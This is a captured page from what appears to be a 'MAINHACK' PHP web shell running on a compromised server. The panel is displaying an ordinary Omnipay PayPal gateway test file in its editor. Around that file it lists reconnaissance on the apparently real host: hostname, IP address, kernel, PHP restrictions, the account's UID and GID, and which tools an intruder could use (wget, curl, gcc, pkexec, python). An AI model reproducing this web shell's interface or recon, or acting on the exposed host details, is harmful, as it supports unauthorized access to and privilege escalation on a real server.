[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ExpressGatewayTest.php
<?php namespace Omnipay\PayPal; use Omnipay\Tests\GatewayTestCase; class ExpressGatewayTest extends GatewayTestCase { /** * @var \Omnipay\PayPal\ExpressGateway */ protected $gateway; /** * @var array */ protected $options; /** * @var array */ protected $voidOptions; public function setUp() { parent::setUp(); $this->gateway = new ExpressGateway($this->getHttpClient(), $this->getHttpRequest()); $this->options = array( 'amount' => '10.00', 'returnUrl' => 'https://www.example.com/return', 'cancelUrl' => 'https://www.example.com/cancel', ); $this->voidOptions = array( 'transactionReference' => 'ASDFASDFASDF', ); } public function testAuthorizeSuccess() { $this->setMockHttpResponse('ExpressPurchaseSuccess.txt'); $response = $this->gateway->authorize($this->options)->send(); $this->assertInstanceOf('\Omnipay\PayPal\Message\ExpressAuthorizeResponse', $response); $this->assertFalse($response->isPending()); $this->assertFalse($response->isSuccessful()); $this->assertTrue($response->isRedirect()); $this->assertEquals('https://www.paypal.com/cgi-bin/webscr?cmd=_express-checkout&useraction=commit&token=EC-42721413K79637829', $response->getRedirectUrl()); } public function testAuthorizeFailure() { $this->setMockHttpResponse('ExpressPurchaseFailure.txt'); $response = $this->gateway->authorize($this->options)->send(); $this->assertFalse($response->isPending()); $this->assertFalse($response->isSuccessful()); $this->assertFalse($response->isRedirect()); $this->assertNull($response->getTransactionReference()); $this->assertSame('This transaction cannot be processed. The amount to be charged is zero.', $response->getMessage()); } public function testPurchaseSuccess() { $this->setMockHttpResponse('ExpressPurchaseSuccess.txt'); $response = $this->gateway->purchase($this->options)->send(); $this->assertInstanceOf('\Omnipay\PayPal\Message\ExpressAuthorizeResponse', $response); $this->assertFalse($response->isPending()); $this->assertFalse($response->isSuccessful()); $this->assertTrue($response->isRedirect()); $this->assertEquals('https://www.paypal.com/cgi-bin/webscr?cmd=_express-checkout&useraction=commit&token=EC-42721413K79637829', $response->getRedirectUrl()); } public function testPurchaseFailure() { $this->setMockHttpResponse('ExpressPurchaseFailure.txt'); $response = $this->gateway->purchase($this->options)->send(); $this->assertFalse($response->isPending()); $this->assertFalse($response->isSuccessful()); $this->assertFalse($response->isRedirect()); $this->assertNull($response->getTransactionReference()); $this->assertSame('This transaction cannot be processed. The amount to be charged is zero.', $response->getMessage()); } public function testOrderSuccess() { $this->setMockHttpResponse('ExpressOrderSuccess.txt'); $response = $this->gateway->order($this->options)->send(); $this->assertInstanceOf('\Omnipay\PayPal\Message\ExpressAuthorizeResponse', $response); $this->assertFalse($response->isPending()); $this->assertFalse($response->isSuccessful()); $this->assertTrue($response->isRedirect()); $this->assertEquals('https://www.paypal.com/cgi-bin/webscr?cmd=_express-checkout&useraction=commit&token=EC-42721413K79637829', $response->getRedirectUrl()); } public function testOrderFailure() { $this->setMockHttpResponse('ExpressOrderFailure.txt'); $response = $this->gateway->order($this->options)->send(); $this->assertFalse($response->isPending()); $this->assertFalse($response->isSuccessful()); $this->assertFalse($response->isRedirect()); $this->assertNull($response->getTransactionReference()); $this->assertSame('This transaction cannot be processed. The amount to be charged is zero.', $response->getMessage()); } public function testVoidSuccess() { $this->setMockHttpResponse('ExpressVoidSuccess.txt'); $response = $this->gateway->void($this->voidOptions)->send(); $this->assertInstanceOf('\Omnipay\PayPal\Message\Response', $response); $this->assertTrue($response->isSuccessful()); $this->assertFalse($response->isRedirect()); $this->assertEquals('ASDFASDFASDF', $response->getTransactionReference()); } public function testVoidFailure() { $this->setMockHttpResponse('ExpressVoidFailure.txt'); $response = $this->gateway->void($this->voidOptions)->send(); $this->assertInstanceOf('\Omnipay\PayPal\Message\Response', $response); $this->assertFalse($response->isSuccessful()); } public function testFetchCheckout() { $options = array('token' => 'abc123'); $request = $this->gateway->fetchCheckout($options); $this->assertInstanceOf('\Omnipay\PayPal\Message\ExpressFetchCheckoutRequest', $request); $this->assertSame('abc123', $request->getToken()); } public function testCompletePurchaseFailureRedirect() { $this->setMockHttpResponse('ExpressCompletePurchaseFailureRedirect.txt'); $response = $this->gateway->completePurchase($this->options)->send(); $this->assertFalse($response->isPending()); $this->assertFalse($response->isSuccessful()); $this->assertTrue($response->isRedirect()); $this->assertEquals('ASDFASDFASDF', $response->getTransactionReference()); $this->assertSame('This transaction couldn\'t be completed. Please redirect your customer to PayPal.', $response->getMessage()); } public function testCompletePurchaseHttpOptions() { $this->setMockHttpResponse('ExpressPurchaseSuccess.txt'); $this->getHttpRequest()->query->replace(array( 'token' => 'GET_TOKEN', 'PayerID' => 'GET_PAYERID', )); $response = $this->gateway->completePurchase(array( 'amount' => '10.00', 'currency' => 'EUR', ))->send(); $httpRequests = $this->getMockedRequests(); $httpRequest = $httpRequests[0]; parse_str((string)$httpRequest->getBody(), $postData); $this->assertSame('GET_TOKEN', $postData['TOKEN']); $this->assertSame('GET_PAYERID', $postData['PAYERID']); } public function testCompletePurchaseCustomOptions() { $this->setMockHttpResponse('ExpressPurchaseSuccess.txt'); // Those values should not be used if custom token or payerid are passed $this->getHttpRequest()->query->replace(array( 'token' => 'GET_TOKEN', 'PayerID' => 'GET_PAYERID', )); $response = $this->gateway->completePurchase(array( 'amount' => '10.00', 'currency' => 'EUR', 'token' => 'CUSTOM_TOKEN', 'payerid' => 'CUSTOM_PAYERID', ))->send(); $httpRequests = $this->getMockedRequests(); $httpRequest = $httpRequests[0]; parse_str((string)$httpRequest->getBody(), $postData); $this->assertSame('CUSTOM_TOKEN', $postData['TOKEN']); $this->assertSame('CUSTOM_PAYERID', $postData['PAYERID']); } public function testTransactionSearch() { $transactionSearch = $this->gateway->transactionSearch(array( 'startDate' => '2015-01-01', 'endDate' => '2015-12-31', )); $this->assertInstanceOf('\Omnipay\PayPal\Message\ExpressTransactionSearchRequest', $transactionSearch); $this->assertInstanceOf('\DateTime', $transactionSearch->getStartDate()); $this->assertInstanceOf('\DateTime', $transactionSearch->getEndDate()); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.82 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002